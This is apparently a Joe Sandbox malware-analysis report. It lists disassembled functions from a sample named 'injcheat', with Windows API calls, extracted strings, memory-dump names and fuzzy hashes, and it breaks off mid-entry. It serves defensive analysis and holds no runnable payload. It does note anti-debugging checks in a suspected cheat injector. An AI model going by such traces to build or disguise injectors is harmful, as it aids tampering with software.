Instruction ID: bab053a7bc44ea1b231bb4800b0a2c660578e8edaadc5815ce346c4a3ee93707
Opcode Fuzzy Hash: 81e2fee55be0e0ed83158224188c4395161ee7ac948e32e04c625285de5dfabf
Instruction Fuzzy Hash: BED11AB4801B409BD361AF398646797BFF0FB06300F544A5DE4EB4B696D731A41ACBE2

Function 0082C572 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0082C890,00000002,00000000,?,?,?,0082C890,?,00000000), ref: 0082C60B
GetLocaleInfoW.KERNEL32(?,20001004,0082C890,00000002,00000000,?,?,?,0082C890,?,00000000), ref: 0082C634
GetACP.KERNEL32(?,?,0082C890,?,00000000), ref: 0082C649

Strings

ACP, xrefs: 0082C590
OCP, xrefs: 0082C5C6

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 1f5e655447d2b61c140d7203b367cf40cd98d00a4c02eb26896d25eeeb498b23
Instruction ID: aec11eb619de3db1dc479b5c9d269981f53b2de3b2ae098836de0fba952608be
Opcode Fuzzy Hash: 1f5e655447d2b61c140d7203b367cf40cd98d00a4c02eb26896d25eeeb498b23
Instruction Fuzzy Hash: 05219872700124AAD7348F58EA01ABF77A6FF64F54B569469E90AD7144E732EDC0C350

Function 0082C747 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00824C11: GetLastError.KERNEL32(?,00000008,008291E0), ref: 00824C15
Part of subcall function 00824C11: SetLastError.KERNEL32(00000000,0083B480,00000024,00820179), ref: 00824CB7

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0082C853
IsValidCodePage.KERNEL32(00000000), ref: 0082C89C
IsValidLocale.KERNEL32(?,00000001), ref: 0082C8AB
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0082C8F3
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0082C912

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: f3e45c1f411f1a93cd491ee80ece10b6d48ee5de4bdba951532ffb58bd6054d8
Instruction ID: 4e431c16c940a4d427ed7cc9676a10542194c5ee5d23486e1152fda89a8c9a7b
Opcode Fuzzy Hash: f3e45c1f411f1a93cd491ee80ece10b6d48ee5de4bdba951532ffb58bd6054d8
Instruction Fuzzy Hash: EA519172A00629AFEB10DFA9EC41ABE77B8FF48700F148439E915E7191E770D984CB61

Function 00869C89 Relevance: 7.5, Strings: 6, Instructions: 38COMMON

Download Yara Rule

Strings

iP`R, xrefs: 00869C92
%AUU, xrefs: 00869C99
hX]N, xrefs: 00869CA7
upH}, xrefs: 00869CB5
1 G@, xrefs: 00869CAE
n\+H, xrefs: 00869CA0

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %AUU$1 G@$hX]N$iP`R$n\+H$upH}
API String ID: 0-3520097955
Opcode ID: 6209497fda56ba42c0ca55be78a875de8b250e6332eb0d406aaca2855171a349
Instruction ID: 23b2ced9c115a004ed6882fe4de7084ecc6bf7762dcc66da34cca437606d8cd4
Opcode Fuzzy Hash: 6209497fda56ba42c0ca55be78a875de8b250e6332eb0d406aaca2855171a349
Instruction Fuzzy Hash: EC0125B0801745CBCB20CF95D650A6FFBF1FF06780F14480DD482ABA52C734AA44CBA6

Function 0082BDE3 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00824C11: GetLastError.KERNEL32(?,00000008,008291E0), ref: 00824C15
Part of subcall function 00824C11: SetLastError.KERNEL32(00000000,0083B480,00000024,00820179), ref: 00824CB7

GetACP.KERNEL32(?,?,?,?,?,?,008215A8,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0082BEA4
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,008215A8,?,?,?,00000055,?,-00000050,?,?), ref: 0082BECF
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0082C032

Strings

utf8, xrefs: 0082BFA1

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 9b7ee1f638b0657b1843333cf1f16543cb8290d449996d8548e259bcc6875715
Instruction ID: 687085ae460e770003e644d53c6bcfd1163fdf3a9e6ed4c87b919c4da37a6681
Opcode Fuzzy Hash: 9b7ee1f638b0657b1843333cf1f16543cb8290d449996d8548e259bcc6875715
Instruction Fuzzy Hash: A2715771601726ABDB24AB78ED86BBA73A8FF44740F144429FA05D7181FB74EDC087A1

Function 0083D1D7 Relevance: 7.2, Strings: 5, Instructions: 922COMMON

Download Yara Rule

Strings

@, xrefs: 0083F411
0, xrefs: 0083DCA1
0, xrefs: 0083DD68
0, xrefs: 0083E31E
i, xrefs: 0083E7CA

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: 0$0$0$@$i
API String ID: 0-3124195287
Opcode ID: 12572a0e7900ef4fab88ceb8c21c045fe7f3c85080e9f8e24115e1caf920c67f
Instruction ID: 2ef7c6bd8b0bd8728f5f0bf17125fcd0651e414464b6b4c9cc5b2b490402ddbe
Opcode Fuzzy Hash: 12572a0e7900ef4fab88ceb8c21c045fe7f3c85080e9f8e24115e1caf920c67f
Instruction Fuzzy Hash: 0962AD71A0C3818BD719CE28C49076ABBE1FBD5318F188A6DE8D9C7391D774D949CB82

Function 008239F2 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00823A7F

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction ID: 311c81ceb1e6dd59e881cf52ee83dfdc4aa52783e8fdc3434b4d2f3f0fa70c2a
Opcode Fuzzy Hash: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction Fuzzy Hash: AFB179729042659FDB11CF68D8A1BFEBBE5FF55350F14816AE841FB241D2389E81C7A0

Function 00817682 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0081768E
IsDebuggerPresent.KERNEL32 ref: 0081775A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00817773
UnhandledExceptionFilter.KERNEL32(?), ref: 0081777D

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 213332a11dd5a440b125c33e545e124977a3355db35e8d08184d7966bce07cc6
Instruction ID: 996c3a39fac352b82bbe89ede360a31af21ec9335b1b5653ac83abe7705de722
Opcode Fuzzy Hash: 213332a11dd5a440b125c33e545e124977a3355db35e8d08184d7966bce07cc6
Instruction Fuzzy Hash: CC31E3B5D052189BDB20DFA4D9897CDBBB8FF48300F1041AAE40DAB250EB749A85CF45

Function 0083D45D Relevance: 5.5, Strings: 4, Instructions: 458COMMON

Download Yara Rule

Strings

gfff, xrefs: 0083E1C1
-, xrefs: 0083E0CD
gfff, xrefs: 0083E177
gfff, xrefs: 0083E106

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: -$gfff$gfff$gfff
API String ID: 0-3742897846
Opcode ID: 7718804b42ef8cf930431149c87fdc9c6f380754b2246168860b9e7f3cc38233
Instruction ID: f04ecdfaaebb3e6c52d393246a1d52b0fbbccfadc0566007f8643713b1ab25f2
Opcode Fuzzy Hash: 7718804b42ef8cf930431149c87fdc9c6f380754b2246168860b9e7f3cc38233
Instruction Fuzzy Hash: 33F1B371A0C7918FC718CE29C49036ABBE2FBD9304F18CA2DE599C7396D674D945CB82

Function 0085E140 Relevance: 5.4, Strings: 4, Instructions: 383COMMON

Download Yara Rule

Strings

sj, xrefs: 0085E207
lc, xrefs: 0085E3E7
hu, xrefs: 0085E20F
a|, xrefs: 0085E1F7

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: a|$hu$lc$sj
API String ID: 0-3748788050
Opcode ID: 2da6593b7bce017c5e70d307783f88ffe4697bf2d3fed1e3eddb71d2ace34cd3
Instruction ID: c1e6b3a634aca817974cd3d87838d51df900918952ac3d97a666b9692f72fb8e
Opcode Fuzzy Hash: 2da6593b7bce017c5e70d307783f88ffe4697bf2d3fed1e3eddb71d2ace34cd3
Instruction Fuzzy Hash: D9A18AB44083408BC724DF18C881A2BB7F4FF96755F588A0CE8D99B391E735DA49CB96

Function 0084BB80 Relevance: 5.4, Strings: 4, Instructions: 373COMMON

Download Yara Rule

Strings

t, xrefs: 0084BB9E
J|BJ, xrefs: 0084BEED
V, xrefs: 0084BDBC
VY^_, xrefs: 0084BCDF

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: J|BJ$V$VY^_$t
API String ID: 0-3701112211
Opcode ID: 43469e6f44eed1a9b836f895c9410751fc96af4312bcce639396a2a91bef0c87
Instruction ID: f83dcfd86c08fe1eec15cb76152906cd83e2b960459c65b64fb9c12b4462a04f
Opcode Fuzzy Hash: 43469e6f44eed1a9b836f895c9410751fc96af4312bcce639396a2a91bef0c87
Instruction Fuzzy Hash: 44D166745083989BD310DF28849066FBBE5FB96B48F188C1CF8C98B252D336DD49DB92

Function 0086968F Relevance: 5.2, Strings: 4, Instructions: 213COMMON

Download Yara Rule

Strings

CV, xrefs: 0086986B
#', xrefs: 008698CA
KV, xrefs: 0086985D
T>, xrefs: 00869864

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: #'$CV$KV$T>
API String ID: 0-95592268
Opcode ID: c69b9ea6594a5c43ac04cb82c4969c9d22671953c70c58e81f226922327a0ad4
Instruction ID: 3f71238f7e03517743491d4ab3802c97f9be63d3e43d2861c30ad7a57f35a93e
Opcode Fuzzy Hash: c69b9ea6594a5c43ac04cb82c4969c9d22671953c70c58e81f226922327a0ad4
Instruction Fuzzy Hash: D28155B48117499BDB20DFA5D28516EBFB5FF12300F60460CE486AB695D330AA55CFE3

Function 00866B71 Relevance: 5.1, Strings: 4, Instructions: 80COMMON

Download Yara Rule

Strings

(g6e, xrefs: 00866B81
,{*y, xrefs: 00866BE7, 00866BF3
4c2a, xrefs: 00866B89
lk, xrefs: 00866B9C

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: (g6e$,{*y$4c2a$lk
API String ID: 0-1327526056
Opcode ID: f9dcc124c1b9a8638023c2dbdaf7777240da40c55f36b67bbdbdb3a86eb3612c
Instruction ID: 6c55e87c6169e8c9cc902e843a6933a6c65bfe0cb1e19efd2bb2123cea342d45
Opcode Fuzzy Hash: f9dcc124c1b9a8638023c2dbdaf7777240da40c55f36b67bbdbdb3a86eb3612c
Instruction Fuzzy Hash: 242177B8409381CAC7309F24C5107ABB7F0FF82741F68595DE8C89B264EB35C850DB9A

Function 0082C1F6 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00824C11: GetLastError.KERNEL32(?,00000008,008291E0), ref: 00824C15
Part of subcall function 00824C11: SetLastError.KERNEL32(00000000,0083B480,00000024,00820179), ref: 00824CB7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0082C24A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0082C294
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0082C35A

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 0ca8587918addbf39e89d6c3a0142683df6f6d1d23159b805979c7feea4e2fdc
Instruction ID: daa980fe40432823199775f6df736fe7cff62daf6cba1769b702dbd1789a5653
Opcode Fuzzy Hash: 0ca8587918addbf39e89d6c3a0142683df6f6d1d23159b805979c7feea4e2fdc
Instruction Fuzzy Hash: C4618F719002279BDB28DF28EC96BBE77A8FF04304F10857AE905C6685EB74D9C1CB51

Function 0081D7D3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0081D8CB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0081D8D5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0081D8E2

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d8aeb9347e92fa36e61d1b298540430fcf8e4e052c88cdc62fa2160144cb6352
Instruction ID: 2134be97f24e20e7a05096efb22243eea6e9aa2acf529269df7d628e6704222e
Opcode Fuzzy Hash: d8aeb9347e92fa36e61d1b298540430fcf8e4e052c88cdc62fa2160144cb6352
Instruction Fuzzy Hash: 2B31B2759013289BCB21DF28DD897DDBBB8FF48310F5045EAE41CA6260EB749B858F45

Function 0083D52F Relevance: 4.2, Strings: 3, Instructions: 472COMMON

Download Yara Rule

Strings

+, xrefs: 0083D453
gfff, xrefs: 0083DE1C
gfff, xrefs: 0083DE37

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: +$gfff$gfff
API String ID: 0-3646763964
Opcode ID: 35b728ad1705faf1f3b3f1732b5860e73b9f66d7c2269a3ae04d64dfcb9b7f2b
Instruction ID: fa0400dd97c7c4281b9bd5b0caeb267305a00929ca3926725d1f03bb7d867f23
Opcode Fuzzy Hash: 35b728ad1705faf1f3b3f1732b5860e73b9f66d7c2269a3ae04d64dfcb9b7f2b
Instruction Fuzzy Hash: F2F19C3160C3918FC715CE28C48426AFBE2BBD9308F188A6DE4D9C7396D774D949CB92

Function 0083D283 Relevance: 4.1, Strings: 3, Instructions: 390COMMON

Download Yara Rule

Strings

-, xrefs: 0083DE03
gfff, xrefs: 0083DE1C
gfff, xrefs: 0083DE37

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: -$gfff$gfff
API String ID: 0-837351935
Opcode ID: d6ff6ad1442cbdf409bfd7bb2423588c0ae80e6daf78ca5f303bac0752b65028
Instruction ID: 61a12c408369178aed033bb2c54b0c196ff40f5ba7c810e8e164c0f1dea9c55e
Opcode Fuzzy Hash: d6ff6ad1442cbdf409bfd7bb2423588c0ae80e6daf78ca5f303bac0752b65028
Instruction Fuzzy Hash: BAD16D356087918FC715CE29C48426AFFE2BBD9308F08CA6DE4D9C7396D634D949CB92

Function 00844470 Relevance: 4.1, Strings: 3, Instructions: 387COMMON

Download Yara Rule

Strings

IEND, xrefs: 008448D0
), xrefs: 008444F6
), xrefs: 008444EC

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: )$)$IEND
API String ID: 0-588110143
Opcode ID: 4c1adf4d3ddecd9b383167e0d128e5a9e29e2d1a0a5d0db94912750285bf625d
Instruction ID: 17f125b6491c1e42c5106dc5772e491c9940cc01481ac9ec83dc9ab2096efe46
Opcode Fuzzy Hash: 4c1adf4d3ddecd9b383167e0d128e5a9e29e2d1a0a5d0db94912750285bf625d
Instruction Fuzzy Hash: 70E1BEB1A08749AFE310DF28C88171ABBE0FB94318F144A2DE594D7392D775E915CBC2

Function 0086EF7C Relevance: 4.0, Strings: 3, Instructions: 254COMMON

Download Yara Rule

Strings

3<, xrefs: 0086F1B6
LTDV, xrefs: 0086EFE8
:, xrefs: 0086F1BD

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
